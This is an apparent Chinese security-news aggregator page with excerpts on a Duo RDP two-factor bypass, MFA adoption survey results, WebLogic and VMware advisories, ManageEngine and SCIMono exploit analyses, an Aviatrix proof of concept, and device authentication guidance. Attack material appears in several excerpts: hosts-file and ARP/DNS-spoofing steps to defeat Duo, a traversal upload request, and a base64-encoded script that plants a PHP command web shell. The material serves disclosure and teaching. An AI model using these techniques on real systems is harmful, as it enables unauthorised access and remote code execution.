技术干货 | Duo RDP双因素身份验证防护绕过 安全闲碎

技术干货 | Duo RDP双因素身份验证防护绕过

本文作者:3had0w(贝塔安全实验室-核心成员)0x01 简介Duo与Microsoft Windows客户端和服务器操作系统集成,可以为远程桌面和本地登录添加2FA双因素身份验证,在国内注册时可能会出现Google reCAPTCHA人机验证显示不出来的情况。至于如何安装和配置2FA双因素身份验证就不详细介绍了,请移步官网:https://duo.com/docs/rdp。原文地址:https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/。0x02 工作原理1) RDP连接或控制台登录已启动2) 主要身份验证3) 通过TCP端口443与Duo Security建立的Duo Windows登录凭据提供程序连接4) 通过Duo Security的服务进行二级认证5) Duo Windows登录凭据提供程序接收身份验证响应6) 登录RDP或控制台会话症状-1:The username you have entered is not enrolled with Duo Security. Please contact your system administrator.(您输入的用户名没有在Duo Security注册)。症状-2:Access Denied. The username you have entered cannot authenticate with Duo Security. Please contact your system administrator.(拒绝访问,您输入的用户名无法通过Duo Security进行身份验证)。症状-3:Your two-factor account is disabled. Contact an administrator for assistance.(您的双因素帐户已停用,您输入的用户名在Duo Security被删除到回收站)。0x03 验证方式Duo双因素身份验证方式有:Duo Push(手机端推送)、Call Me(打给我)、Passcode(密码代码,如下图中的:*** 437)。手机端Duo Mobile应用中的DUO-PROTECTED(RDP保护)、DUO ADMIN(Duo仪表板保护)。注:Duo Security保护的用户名或用户名别名在多次登录失败后可能会出现此提示:Your account has been locked out due to excessive authentication failures(已被锁定,该用户超过了自动锁定阈值),得在Duo仪表板里Require two-factor authentication(default)选项重新激活。0x04 解决方案(1) Shell命令行绕过利用目标机器的Shell命令行绕过,ipconfig /displaydns命令找出Duo API DNS缓存记录(每个用户都会得到一个不一样的API hostname)。为了防止系统具有过多的DNS缓存并且显示速度太慢,这时可以将命令执行结果写入到文件中:ipconfig /displaydns > C:ProgramDatadns.txt。然后编辑目标机器的hosts文件,将刚刚找到的Duo API DNS缓存记录解析到本地127.0.0.1,依次执行以下命令。也可以用Metasploit下的post/windows/manage/inject_host模块、Meterpreter的edit命令和hostsedit脚本。C:Windowssystem32> copy .driversetchosts .driversetchosts.bakC:Windowssystem32> echo 127.0.0.1 api-2e****9c.duosecurity.com >> .driversetchostsC:Windowssystem32> type .driversetchosts注:如果执行ipconfig /displaydns命令没有找到Duo API DNS缓存记录,这时可以尝试新建一个管理员账户密码,然后用Microsoft RDP登录,再执行ipconfig /displaydns命令时就能看到Duo API DNS缓存记录了。千万不要使用目标机器上已有的管理员账户登录,因为它们可能已在Duo Security注册并保护,如果用已有的管理员账户进行登录就会向手机端Duo Mobile应用发送推送信息。(2) ARP+DNS欺骗绕过利用Ettercap、Bettercap等工具的ARP+DNS欺骗功能进行绕过,编辑/etc/ettercap/etter.dns文件,将Duo API hostname解析到本地127.0.0.1,“*”星号代表所有的意思。################################# microsoft sucks ;)# redirect it to www.linux.orgmicrosoft.com      A   107.170.40.56*.microsoft.com    A   107.170.40.56www.microsoft.com  PTR 107.170.40.56      # Wildcards in PTR are not allowed*.duosecurity.com       A   127.0.0.1Ettercap ARP+DNS欺骗配置:1) ettercap -G -> Sniff -> Unified sniffing(Ctrl+U)-> eth02) Hosts -> Scan for hosts(Ctrl+S)-> Hosts list(Ctrl+H)-> 192.168.1.1 ->Add to Target 1 -> 192.168.1.112 -> Add to Target 23) Plugins -> Manage the plugins(Ctrl+P)-> dns_spoof(双击)-> Mitm -> ARP poisoning -> Sniff remote connections(勾选)-> Start -> Start sniffing注:如果停止ARP、DNS欺骗并关掉Ettercap软件以后DNS解析记录仍然是127.0.0.1,这时只需在受害者机器上执行“ipconfig /flushdns”命令刷新一下DNS解析缓存就好了。另外ARP、DNS欺骗这类攻击方式动静都比较大,不是迫不得已的情况下并不建议使用。报名参加EISS2020北京站 本文始发于微信公众号(安世加):技术干货 |...
阅读全文
MFA在迷茫中前行 安全闲碎

MFA在迷茫中前行

点击蓝字关注我们根据Yubico和451 Research的最新调查,虽然市场规模在稳步成长,但是企业对MFA(多因素认证)的最佳实践和方法依然感到迷茫。01企业为什么采用MFA调查结果表明,MFA在企业内部的采用和支出有所增加,其原因主要如下:越来越多的人意识到,账户被盗和网络钓鱼攻击是大多数安全漏洞的根源;新冠病毒大流行,远程办公的兴起;采用现代身份验证标准(例如快速身份在线U2F、FIDO2和WebAuthn)来支持双因素(2FA)和无密码身份验证的新进展。02MFA普及的障碍但是,研究还凸显了MFA广泛普及的各种障碍,如便利性、复杂性和成本。此外,许多企业仍未意识到在更常见的移动MFA格式因素(例如基于SMS的身份验证)中发现的安全缺陷,这种安全缺陷已被广泛曝光多年。“新冠病毒大流行,基于云的远程办公常态化成为刺激企业实施和更新多因素认证的一个转折点。”“这项研究表明,尽管人们在渴望获得更强的安全性的同时能拥有更好的用户体验,但许多公司仍坚持无效的旧习惯和技术。”Yubico首席执行官斯蒂娜说道。针对MFA的调查结果具体如下:对MFA的投资在增加MFA支出趋势令人鼓舞,大部分的受访者计划增加MFA支出。由于COVID-19以及后来向远程办公的迁移(49%),MFA是企业优先采用的安全技术之一。采用MFA作为安全事件的应对措施在过去的一年中,所有受访者中有53%经历过安全事件或安全漏洞,MFA是针对安全漏洞采取的三大安全技术之一。采用MFA的障碍57%的受访者表示提高安全性是企业采用MFA的第一原因,其中, 用户体验(43%)、复杂性(41%)和成本(36%)仍然是采用MFA的主要障碍,这些障碍在预料之中,不足为奇。长期以来,尽管已证明诸如生物识别和安全密钥之类的现代身份验证技术比传统的MFA技术可提供更好的安全性和可用性,但上述挑战依然是MFA难以逾越的障碍。03最受欢迎的MFA方案尽管基于SMS短信的MFA的安全漏洞有所增加,但移动OTP身份验证器(58%)、基于移动网络推送的MFA(48%)和基于SMS的MFA(41%)仍是最受欢迎的MFA。这表明,与其他MFA选项相比,企业可能仍认为移动MFA对用户更加友好和可访问性更强,并且尽管有很多报告发出警告,但企业仍将用户体验置于安全优势之上。04许多组织仍依赖基于SMS的身份验证许多组织仍然严重依赖基于SMS的身份验证,但是尽管有越来越多的证据表明利用移动或基于SMS的身份验证方法破坏和攻击,但是只有22%的组织将这种形式的安全性视为问题。05最有可能使用MFA的特权用户当使用MFA时,企业会停止使用特权用户,但屡次遭遇攻击表明,低级员工成为攻击者对企业发动攻击的突破口。研究表明,特权用户和第三方(承包商、顾问、合作伙伴)最可能使用MFA,而最终客户则最不可能使用。06FIDO2和无密码的势头强劲作为解决传统MFA痛点的方法,FIDO2(线上快速身份验证)和无密码身份验证正在蓬勃发展,因为接受调查的组织中有61%已在试点中部署或采用了无密码身份验证,其中34%的受访者已经部署了无密码技术,这在试点中所占比例为27%。相关阅读 微软:短信是最不安全的MFA验证方法MFA不是网络安全的万灵药多因子身份验证(MFA)技术盘点合作电话:18610811242投稿邮箱:[email protected] 本文始发于微信公众号(安全牛):MFA在迷茫中前行
阅读全文
【风险提示】天融信关于WebLogic多个高危漏洞风险提示 安全漏洞

【风险提示】天融信关于WebLogic多个高危漏洞风险提示

0x00背景介绍7月21日,天融信阿尔法实验室监测到Oracle官方发布了2021年7月关键补丁更新,此次更新修复漏洞共342个,其中包括严重漏洞50个、高危45个、中危107个、低危140个。0x01漏洞描述    此次更新中修复了多个WebLogic组件的漏洞,包括多个严重的漏洞,这些漏洞允许未经身份验证的攻击者通过IIOP或者T3协议发送构造好的恶意请求,从而在Oracle WebLogic Server执行代码这次安全更新修复的以下漏洞值得重点关注。CVE-2021-2394:任意执行代码漏洞    未经身份验证的攻击者通过T3或IIOP协议发送恶意请求,最终接管服务器,评分9.8。CVE-2021-2397:任意执行代码漏洞    未经身份验证的攻击者通过T3或IIOP协议发送恶意请求,最终接管服务器,评分9.8。CVE-2021-2382:任意执行代码漏洞    未经身份验证的攻击者通过T3或IIOP协议发送恶意请求,最终接管服务器,评分9.8。编号组件协议CVSS需要用户认证受影响版本CVE-2021-2394Oracle WebLogic Server(Core)T3, IIOP9.8否10.3.6.0.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0CVE-2021-2397Oracle WebLogic Server(Core)T3, IIOP9.8否10.3.6.0.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0CVE-2021-2382Oracle WebLogic Server(Security)T3, IIOP9.8否10.3.6.0.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0CVE-2021-2428Oracle Coherence(Core)T3, IIOP8.1否12.1.3.0.0, 12.2.1.3.0,  12.2.1.4.0, 14.1.1.0.0CVE-2021-2371Oracle Coherence(Core)T3, IIOP7.5否3.7.1.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0CVE-2021-2344Oracle Coherence(Core)T3, IIOP7.5否3.7.1.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0CVE-2021-2378Oracle WebLogic Server(Core)T3, IIOP7.5否10.3.6.0.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0CVE-2021-2376Oracle WebLogic Server(Web  Services)T3, IIOP7.5否10.3.6.0.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0CVE-2021-2403Oracle WebLogic Server(Core)HTTP5.3否10.3.6.0.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.00x02漏洞编号CVE-2021-2394CVE-2021-2397CVE-2021-2382CVE-2021-2428CVE-2021-2371CVE-2021-2344CVE-2021-2378CVE-2021-2376CVE-2021-24030x03漏洞等级    高危0x04修复建议受影响版本:编号受影响版本CVE-2021-239410.3.6.0.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0CVE-2021-239710.3.6.0.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0CVE-2021-238210.3.6.0.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0CVE-2021-242812.1.3.0.0, 12.2.1.3.0,  12.2.1.4.0, 14.1.1.0.0CVE-2021-23713.7.1.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0CVE-2021-23443.7.1.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0CVE-2021-237810.3.6.0.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0CVE-2021-237610.3.6.0.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0CVE-2021-240310.3.6.0.0, 12.1.3.0.0,  12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0修复建议:Oracle已经发布了安全更新,建议受影响用户尽快更新:https://www.oracle.com/security-alerts/cpujul2021.html0x05支持热线天融信公司后续将积极为用户提供技术支持,进行持续跟踪并及时通报进展,如有需要请拨打7 x 24小时客服联系电话:400-777-0777。0x06声明天融信阿尔法实验室拥有对此公告的修改和解释权,如欲转载,必须保证此公告的完整性。由于传播、利用此公告而造成的任何后果,均由使用者本人负责,天融信阿尔法实验室不为此承担任何责任。天融信阿尔法实验室成立于2011年,一直以来,阿尔法实验室秉承“攻防一体”的理念,汇聚众多专业技术研究人员,从事攻防技术研究,在安全领域前瞻性技术研究方向上不断前行。作为天融信的安全产品和服务支撑团队,阿尔法实验室精湛的专业技术水平、丰富的排异经验,为天融信产品的研发和升级、承担国家重大安全项目和客户服务提供强有力的技术支撑。天融信阿尔法实验室长按二维码关注我们 本文始发于微信公众号(天融信阿尔法实验室):【风险提示】天融信关于WebLogic多个高危漏洞风险提示
阅读全文
CVE-2021-40539 ManageEngine ADManager Plus 未授权访问RCE 安全文章

CVE-2021-40539 ManageEngine ADManager Plus 未授权访问RCE

身份验证绕过        从编辑的原始通信中知道可以通过 REST API 获得未经授权的访问。之前的差异表明jar中的com.manageengine.ads.fw.api.RestAPIUtil类ManageEngineADSFrameworkJava已随补丁更改。该getNormalizedURI函数的代码如下:        这显然是一个修复路径遍历漏洞的补丁,该漏洞可能会产生严重影响。一个类似的例子是同时在 Apache httpd上应用的补丁。在当前的情况下,补丁是针对身份验证绕过的。        测试有效载荷为:将/./有效负载发送到我们已修补和易受攻击的实例会导致服务器响应的差异        响应体表明路径遍历请求实际上绕过了认证过程。通过API上传任意文件           ogonCustomization位于AdventNetADSMClientjar 中的类实现previewMobLogo了 Nuclei 模板的 PoC 中使用的方法。public ActionForward previewMobLogo(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) {public ActionForward unspecified(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception { try { } else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) { // we are looking for smarcard related actions String operation = request.getParameter("operation"); SmartCardAction smartCardAction = new SmartCardAction(); if (operation.equalsIgnoreCase("Add")) { // and how to add one request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH")); request.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH")); smartCardAction.addSmartCardConfig(mapping, (ActionForm)dynForm, request, response);        对先前方法的分析可以确定在服务器上上传文件所需的参数。此请求说明了文件ManageEngineADSelfService Plusbin夹中任意文件的上传。 POST /./RestAPI/LogonCustomization HTTP/1.1Host: 192.168.1.106:9251User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: Content-Type: application/x-www-form-urlencodedAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537Te: trailersConnection: closeContent-Length: 1212-----------------------------39411536912265220004317003537Content-Disposition: form-data;...
阅读全文
【漏洞利用】GHSL-2020-227:服务器端模板注入导致 SCIMono 中未经身份验证的远程代码执行 - CVE-2021 安全文章

【漏洞利用】GHSL-2020-227:服务器端模板注入导致 SCIMono 中未经身份验证的远程代码执行 - CVE-2021

点击上方蓝字“Ots安全”一起玩耍协调披露时间表2020-11-11:问题报告给 SAP 信任中心2021-09-02:该问题已在0.0.19 版本中修复2021-09-02:公共咨询概括在SCIMono 中发现了服务器端模板注入,攻击者可以利用该模板注入任意Java EL 表达式,从而导致未经身份验证的远程代码执行(RCE) 漏洞。产品SCIMono测试版0.0.18细节远程代码执行 - JavaEL 注入通过注入任意 Java 表达式语言 (EL) 表达式,可以在运行SCIMono Server 的服务器上运行任意代码。SCIMono 使用 Java Bean Validation (JSR 380) 自定义约束验证器,例如 SchemaIdValidator. 在构建自定义约束违反错误消息时,重要的是要了解它们支持不同类型的插值,包括Java EL 表达式。因此,如果攻击者可以在传递给 的错误消息模板中注入任意数据ConstraintValidatorContext.buildConstraintViolationWithTemplate(),他们将能够运行任意 Java 代码。不幸的是,经过验证(因此通常不受信任)的 bean 属性通常会流入自定义错误消息。SchemaIdValidator和其他自定义约束验证器验证自定义约束错误验证消息中包含的攻击者控制的字符串:public class SchemaIdValidator implements ConstraintValidator<ValidSchemaId, String> { private static final Pattern SCHEMA_NAME_ALLOWED_PATTERN = Pattern.compile("(^)(\w)+"); @Override public boolean isValid(String schemaId, ConstraintValidatorContext context) { return isValidSchemaId(schemaId, context) && isValidIdentifierName(schemaId, context); } private boolean isValidSchemaId(final String schemaId, ConstraintValidatorContext context) { if (SchemasCallback.isCustomSchema(schemaId)) { return true; } ValidationUtil.interpolateErrorMessage(context, generateViolationMessage(schemaId)); return false; } ... private String generateViolationMessage(String attributeName) { return String.format("The attribute value "%s" has invalid value!", attributeName); } ...}其中ValidationUtil.interpolateErrorMessage()定义为: public static void...
阅读全文
CVE-2021-21998: VMware Carbon Black App Control身份验证绕过漏洞通告 安全漏洞

CVE-2021-21998: VMware Carbon Black App Control身份验证绕过漏洞通告

赶紧点击上方话题进行订阅吧!报告编号:B6-2021-062301报告来源:360CERT报告作者:360CERT更新日期:2021-06-231 漏洞简述2021年06月23日,360CERT监测发现VMware发布Carbon Black App Control身份验证绕过的风险通告,漏洞编号为CVE-2021-21998,漏洞等级:严重,漏洞评分:9.4。VMware Carbon Black Cloud Workload(简称AppC)是一种软件即服务(SaaS)解决方案,提供下一代反病毒(NGAV)、端点检测和响应(EDR)、高级威胁搜索和漏洞管理等服务,被广泛的应用于云上主机中。攻击者利用该漏洞无需身份验证即可获得对该产品的管理访问权限。该漏洞无需任何前置权限要求,无需用户交互即可完成攻击,且可以通过该漏洞的特殊权限访问其他云上主机并获取权限,攻击复杂度低,利用价值高。对此,360CERT建议广大用户及时将VMware Carbon Black App Control升级到最新版本。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。2 风险等级360CERT对该漏洞的评定结果如下评定方式等级威胁等级严重影响面广泛攻击者价值高利用难度低360CERT评分9.43 漏洞详情CVE-2021-21998: VMware Carbon Black App Control身份验证绕过漏洞CVE: CVE-2021-21998组件: Carbon Black App Control(APPc)漏洞类型: 身份验证绕过影响: 无需身份验证获得产品的管理权限简述: 可以通过网络访问VMware Carbon Black App Control管理服务器的攻击者无需身份验证即可获得对该产品的管理访问权限,由于该产品的特殊性,最终可以使攻击者通过管理界面访问其所管理的其他集群主机。4 影响版本产品名影响版本运行平台影响范围VMware Carbon Black App Control8.6.xWindows<8.6.2VMware Carbon Black App Control8.5.xWindows<8.5.8VMware Carbon Black App Control8.1.x, 8.0.xWindows未安装Hotfix的全版本5 修复建议通用修补建议建议用户根据该影响修复表及时下载安装安全补丁,完成产品的安全更新。产品名影响版本运行平台安全版本VMware Carbon Black App Control8.6.xWindows8.6.2VMware Carbon Black App Control8.5.xWindows8.5.8VMware Carbon Black App Control8.1.x, 8.0.xWindowsHotfix6 产品侧解决方案若想了解更多信息或有相关业务需求,可移步至http://360.net。360安全分析响应平台360安全大脑的安全分析响应平台通过网络流量检测、多传感器数据融合关联分析手段,对该类漏洞的利用进行实时检测和阻断,请用户联系相关产品区域负责人或(shaoyulong#360.cn)获取对应产品。360本地安全大脑360本地安全大脑是将360云端安全大脑核心能力本地化部署的一套开放式全场景安全运营平台,实现安全态势、监控、分析、溯源、研判、响应、管理的智能化安全运营赋能。360本地安全大脑已支持对相关漏洞利用的检测,请及时更新网络神经元(探针)规则和本地安全大脑关联分析规则,做好防护。360终端安全管理系统360终端安全管理系统软件是在360安全大脑极智赋能下,以大数据、云计算等新技术为支撑,以可靠服务为保障,集防病毒与终端安全管控功能于一体的企业级安全产品。360终端安全管理系统已支持对相关漏洞进行检测和修复,建议用户及时更新漏洞库并安装更新相关补丁。7 时间线2021-06-22 VMware官方发布安全通告2021-06-23 360CERT发布通告8 参考链接1、 VMware安全通告https://www.vmware.com/security/advisories/VMSA-2021-0012.html2、 官方补丁下载链接https://community.carbonblack.com/t5/App-Control-Documents/Critical-App-Control-Server-Patch-Announcement/ta-p/1049069 特制报告下载链接一直以来,360CERT对全球重要网络安全事件进行快速通报、应急响应。为更好地为政企用户提供最新漏洞以及信息安全事件的安全通告服务,现360CERT正式推出安全通告特制版报告,以便用户做资料留存、传阅研究与查询验证。用户可直接通过以下链接进行特制报告的下载。CVE-2021-21998: VMware Carbon Black App Control身份验证绕过漏洞通告http://certdl.qihucdn.com/cert-public-file/report/【360CERT】CVE-2021-21998__VMware_Carbon_Black_App_Control身份验证绕过漏洞通告.pdf若有订阅意向与定制需求请扫描下方二维码进行信息填写,或发送邮件至g-cert-report#360.cn ,并附上您的 公司名、姓名、手机号、地区、邮箱地址。往期推荐01PJobRAT:针对印度军事人员的间谍软件02《网络安全五月月报》(附下载方式)03CNVD-2021-30167:用友NC BeanShell远程代码执行漏洞通告360CERThttps://cert.360.cn/进入官网查看更多资讯长按扫码关注我们点击在看,进行分享 本文始发于微信公众号(三六零CERT):CVE-2021-21998: VMware Carbon Black App Control身份验证绕过漏洞通告
阅读全文
CVE-2021-40870 Aviatrix Controller RCE 安全漏洞

CVE-2021-40870 Aviatrix Controller RCE

                在 6.5-1804.1922 之前的 Aviatrix Controller 6.x ,可以不受限制地上传具有危险类型的文件,这允许未经身份验证的用户通过目录遍历执行任意代码。        要运行这个项目,你需要在你的 python 中添加以下模块requests urllib3python3 poc.py https://site.com/aW1wb3J0IHJlcXVlc3RzDQppbXBvcnQganNvbg0KaW1wb3J0IHN5cw0KaW1wb3J0IHRpbWUNCmZyb20gcmVxdWVzdHMucGFja2FnZXMgaW1wb3J0IHVybGxpYjMNCg0KdXJsbGliMy5kaXNhYmxlX3dhcm5pbmdzKHVybGxpYjMuZXhjZXB0aW9ucy5JbnNlY3VyZVJlcXVlc3RXYXJuaW5nKQ0KDQpiYW5uZXIgPSAmIzM5OyYjMzk7JiMzOTsNCiAgIF9fXyAgICAgICAgIF9fICAgIF9fX18gICBfX18gX19fXyAgXyAgICAgICBfICBfICAgIF9fXyAgIF9fXyBfX19fXyBfX18gIA0KICAvIF9fXC9cICAgL1wvX19cICB8X19fIFwgLyBfIFxfX18gXC8gfCAgICAgfCB8fCB8ICAvIF8gXCAoIF8gKV9fXyAgLyBfIFwgDQogLyAvICAgXCBcIC8gL19cX19fX18gX18pIHwgfCB8IHxfXykgfCB8X19fX198IHx8IHxffCB8IHwgfC8gXyBcICAvIC8gfCB8IHwNCi8gL19fXyAgXCBWIC8vX3xfX19fXy8gX18vfCB8X3wgLyBfXy98IHxfX19fX3xfXyAgIF98IHxffCB8IChfKSB8LyAvfCB8X3wgfA0KXF9fX18vICAgXF8vXF9fLyAgICB8X19fX198XF9fXy9fX19fX3xffCAgICAgICAgfF98ICBcX19fLyBcX19fLy9fLyAgXF9fXy8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW2J5IDB4QWd1bl0NCiAgICAgICAgICAgICAgICAgICAgIFVzZSA6IHB5dGhvbjMgcG9jLnB5IGh0dHBzOi8vc2l0ZS5jb20vDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiYjMzk7JiMzOTsmIzM5Ow0KcHJpbnQoYmFubmVyKQ0KDQpiYXNlX3VybCA9IHN5cy5hcmd2WzFdDQp1c2VyID0gJiMzOTsmIzM5OyYjMzk7TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzcwLjAuMzUzOC43NyBTYWZhcmkvNTM3LjM2JiMzOTsmIzM5OyYjMzk7DQpmaWxlbmFtZSA9ICJSQ0UucGhwIg0Kc2hlbGwgPSAmIzM5OyYjMzk7JiMzOTsmbHQ7P3BocCBpZihpc3NldCgkX1JFUVVFU1RbJiMzOTtjbWQmIzM5O10pKXsgZWNobyAiJmx0O3ByZSZndDsiOyAkY21kID0gKCRfUkVRVUVTVFsmIzM5O2NtZCYjMzk7XSk7IHN5c3RlbSgkY21kKTsgZWNobyAiJmx0Oy9wcmUmZ3Q7IjsgZGllOyB9PyZndDsmIzM5OyYjMzk7JiMzOTsNCmlmIGJhc2VfdXJsLnN0YXJ0c3dpdGgoJiMzOTtodHRwczovLyYjMzk7KToNCiAgICBrID0gYmFzZV91cmwucmVwbGFjZSgiaHR0cHM6Ly8iLCAiIikNCiAgICBpZiBrLmVuZHN3aXRoKCIvIik6DQogICAgICAgIHAgPSBrLnJlcGxhY2UoIi8iLCAiIikNCg0KaGVhZGVycyA9IHsNCiAgICAiSG9zdCI6IHAsDQogICAgIlVzZXItQWdlbnQiOiB1c2VyLA0KICAgICJDb25uZWN0aW9uIjogImNsb3NlIiwNCiAgICAiQ29udGVudC1MZW5ndGgiOiAiMTA5IiwNCiAgICAiQ29udGVudC1UeXBlIjogImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIsDQogICAgIkFjY2VwdC1FbmNvZGluZyI6ICJnemlwIiwNCg0KfQ0KDQpib2R5ID0gZiYjMzk7Q0lEPXgmYWN0aW9uPXNldF9tZXRyaWNfZ3dfc2VsZWN0aW9ucyZhY2NvdW50X25hbWU9Ly4uLy4uLy4uL3Zhci93d3cvcGhwL3tmaWxlbmFtZX0mZGF0YT1wb2MgYnkgYWd1bntzaGVsbH0mIzM5Ow0KDQoNCnIgPSByZXF1ZXN0cy5wb3N0KGJhc2VfdXJsKyYjMzk7L3YxL2JhY2tlbmQxJiMzOTssIGhlYWRlcnM9aGVhZGVycywgZGF0YT1ib2R5LCB2ZXJpZnk9RmFsc2UpDQoNCmNoZWNrX2ZpbGUgPSByZXF1ZXN0cy5nZXQoYmFzZV91cmwrJiMzOTsvdjEvJiMzOTsrZmlsZW5hbWUsIHZlcmlmeT1GYWxzZSkNCmlmIGNoZWNrX2ZpbGUuc3RhdHVzX2NvZGUgPT0gMjAwOg0KICAgIHByaW50KGYmIzM5O0VYUExPSVRFRCB7YmFzZV91cmx9JiMzOTspDQogICAgcHJpbnQoJiMzOTsmIzM5OykNCiAgICBwcmludChmJiMzOTtHbyBUbyB7YmFzZV91cmx9L3YxL3tmaWxlbmFtZX0mIzM5OykNCiAgICBwcmludCgmIzM5OyYjMzk7KQ0KICAgIHByaW50KCYjMzk7YWNjZXNzIHNoZWxsIHVzaW5nIFJDRS5waHA/Y21kPVtjb21tYW5kXSYjMzk7KQ0KZWxzZToNCiAgICBwcmludCgiU29ycnkgRHVkZSBCYWQgbHVjayIphttp://packetstormsecurity.com/files/164461/Aviatrix-Controller-6.x-Path-Traversal-Code-Execution.htmlhttps://docs.aviatrix.com/HowTos/UCC_Release_Notes.html#security-note-9-11-2021https://wearetradecraft.com/advisories/tc-2021-0002/------------------------------------------------------------------------------往期回顾:红队笔记 - PowerShell AMSI Bypass红队笔记 - PowerView进行AD列举红队笔记 - 横向移动红队笔记 - 提权&权限维持红队笔记 - 域渗透攻击红队笔记 - 后渗透红队笔记 - 后渗透2 原文始发于微信公众号(Khan安全攻防实验室):CVE-2021-40870 Aviatrix Controller RCE
阅读全文
设备安全指南-企业认证政策 安全闲碎

设备安全指南-企业认证政策

在智能手机、平板电脑、笔记本电脑和台式电脑上实施有效的身份验证。身份验证是在授权访问设备或服务之前验证用户或设备身份的过程。在每种情况下,可用的身份验证方法将取决于正在访问的服务和来自什么类型的设备。每种身份验证方法都有自己的优点和缺点。作为一个组织,重要的是实施身份验证步骤,以平衡设备和服务的可用性和安全性。本指南将介绍一系列不同的用例和可用的常见身份验证方法,重点介绍安全优势和安全风险。这将帮助您为组织的设备设计和部署有效的身份验证策略。为什么要认证?在智能手机、平板电脑、笔记本电脑和台式机上,用户身份验证是防止未经授权访问设备及其上存储的数据的主要方法。它还在防止对设备设置进行未经授权的更改方面发挥着重要作用。鉴于大多数企业服务将通过设备访问,重要的是:验证设备用户的身份。这将确保只有那些有权访问的人才能获得授权。如果服务包含您认为敏感的数据,则还应验证设备的身份和健康状况。这允许您阻止不符合企业策略的设备访问您的服务。攻击者总是会瞄准身份验证系统中的弱点。许多常见的攻击寻找简单的方法来猜测或窃取用户或设备凭据。使用这些凭据,攻击者可以冒充有效用户和设备,访问存储在设备上的数据,并连接远程企业服务。他们还将利用这一立足点进一步渗透到企业网络中。考虑到这些潜在的后果,很明显,实施有效的身份验证对于希望防止帐户、设备或网络受损的组织至关重要。为有效认证做准备首先,您需要考虑要保护的资产的风险、它们持有的数据以及您面临的身份验证用例。在授予对系统和服务的访问权限之前,此信息将允许您制定适当的策略来验证用户和设备。对于每个身份验证用例,您应该考虑可用身份验证方法的可用性和安全性。身份验证用例要考虑的主要用例是:用户到设备用户只有在成功通过身份验证后才被授予对设备的访问权限。用户服务用户只有在成功通过他们的设备对服务进行身份验证后才能访问企业服务。服务设备只有可以向企业进行身份验证的设备才被授予访问权限。对于上述每个用例,在决定适当的身份验证机制时,重要的是要考虑哪些可用的身份验证机制最适合使用,同时考虑安全性和可用性。用户到设备在用户到设备 身份验证的情况下 ,常见的身份验证方法包括:身份验证方法考虑密码或 PIN在智能手机、平板电脑、笔记本电脑和台式机上,密码或 PIN 通常是用户到设备身份验证的主要方法。他们仍然面临被猜测或被暴力逼迫的风险。但是,大多数设备都包含增强用户对设备密码或 PIN 以抵御离线 暴力 攻击的技术,从而限制攻击者重复猜测密码或 PIN 的能力。除了这些保护措施之外,如果 PIN 或密码仅用于对设备进行身份验证,那么只有当攻击者也可以物理访问设备时,了解它才有用。生物识别许多智能手机、平板电脑、笔记本电脑和台式机现在也具有指纹和面部识别等生物识别身份验证功能。这些可以提供方便和安全的密码替代方法。生物识别技术在其产生的误报率和否定率以及检测欺骗性生物识别技术的能力方面可能会有所不同。我们在单独的生物识别指南中提供了更详细的建议和建议 。用户到服务/设备到服务在 用户到服务 认证和 设备到服务 认证的情况下,常见的认证方法包括身份验证方法考虑密码由于密码相对容易实现,这仍然是目前用于用户身份验证的最常用方法。不过,密码确实存在一些主要弱点。要求用户记住和管理大量密码通常会导致 密码重复使用,以及使用 常见密码 ,这会使服务容易受到 密码喷射攻击或暴力破解。它们还容易受到 网络钓鱼、 鱼叉式网络钓鱼和服务器端凭据盗窃的攻击,最近的许多数据泄露事件都证明了这一点 。NCSC 有关于密码的广泛建议,包括 密码拒绝列表、设置 密码策略 对于您的组织,以及如何选择适当 